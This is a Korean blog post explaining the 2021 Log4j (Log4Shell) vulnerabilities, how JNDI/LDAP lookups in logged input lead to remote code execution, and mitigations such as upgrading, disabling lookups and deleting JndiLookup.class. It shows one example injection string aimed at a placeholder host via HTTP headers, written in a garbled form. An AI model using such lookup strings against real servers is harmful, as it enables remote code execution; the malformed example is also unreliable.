본문 바로가기
IT과학

Log4j 사태와 대응 방법

by №℡ 2022. 6. 25.

로고

Log4j 사태란?

CVE-2021-44228,CVE-2021-45046[2], CVE-2021-45105, CVE-2021-4104, CVE-2021-44832 아파치 소프트웨어 재단의 Java 프로그래밍 언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 매우 중대한 보안 취약점이 발견된 사건.

테나블(Tenable)에서는 이 사태를 '하트블리드와 CPU 게이트 따위는 비교도 안 될 만큼, 컴퓨터 인터넷 역사를 통틀어 사상 최악의 보안 결함일 수도 있다'고 경고했다.

Log4j는 Java/Kotlin/Scala/Groovy/Clojure 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 한다.

 

문제의 원리

하트블리드 사태와 비슷하게 이 취약점 사태 또한 여파와 다르게 취약점의 원리가 간단하다.

우선 이 취약점은 JNDI와 LDAP를 이용한다. JNDI는 Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스이다. Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스이다.

JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

 

대응 방안

현재 2.17.0 버전의 새로운 취약점 CVE-2021-44832이 발견되었으므로 반드시 2.17.1 버전으로 업데이트 하시기 바랍니다.

주요 방법으로는 log4j 에서 JNDI 파싱을 하지 못하게 막는 것이 중요하다. 이 파싱 기능이 원격 코드 실행 취약점을 불러일으키기 때문에 보안 구멍이 생기므로, 이를 패치하거나 비활성화는 것이 핵심 방법이다.

가장 안전한 방법은 log4j 를 2.17.1 이상으로 올리는 것이다. 하지만 이 방법은 Java 8이 필요하다.


Java 7이라면 2.12.4 버전을 사용하면 된다.


Java 6이라면 2.3.2 버전을 사용하면 된다.


log4j 2.10.0 이상 사용 시 다음의 방법 중 한 가지 이상의 방법을 사용한다.

소속 보안팀에 따라 대응 승인 여부가 달라질 수 있으므로 논의 후 조치하는 것이 좋다.


Java 실행 인자(Arguments) 에 시스템 속성을 추가한다. -Dlog4j2.formatMsgNoLookups=true
Java 실행 계정의 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSG_NO_LOOKUPS=true를 설정한다.


log4j 2.7.0 이상 사용 시 log4j 설정(log4j.xml 등)에 PatternLayout 속성에 있는 %m 부분을 %m{nolookups} 으로 교체한다. 2.16.0 이상에서는 %m을 사용해도 자동으로 nolookups로 처리된다.

소속 보안팀에 따라 대응 승인 여부가 달라질 수 있으므로 논의 후 조치하는 것이 좋다.


log4j 상기버전 미만일 경우 가장 어려운 상황으로, JndiLookup 클래스와 JndiManager 클래스를 읽지 못하도록 조치해야 한다. log4j-core.jar 를 직접 빌드하거나, 자바 프로젝트에 패키지명까지 맞춰가면서 dummy화 시켜야 한다. 이 방법은 위에 링크한 KISA 인터넷 보호나라에서 쉽게 대응할 수 있는 방안을 제공하니까 반드시 열람하도록 한다.

소속 보안팀에서 가장 권장하고 있는 방법으로 소개할 것이다.


zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
logback 등 다른 로깅 모듈로의 교체를 검토한다. Spring 블로그에서 소개한 것과 같이 spring-boot-starter-logging 패키지를 변형없이 그대로 사용하면 이번 취약점에 큰 문제가 없을 수 있으나, 다른 패키지가 log4j-core에 의존하고 있을 가능성이 있으므로 실제 포함 여부를 의존성 트리 구조(dependency hierarchy)를 통해 확인해야 한다. 정 불안하다면 log4j-api 등 다른 log4j 패키지도 업데이트 하면 된다.


단, 후술하겠지만, logback 교체시에는 가장 최신인 1.2.9 이상 버전으로 사용한다.

728x90
반응형

댓글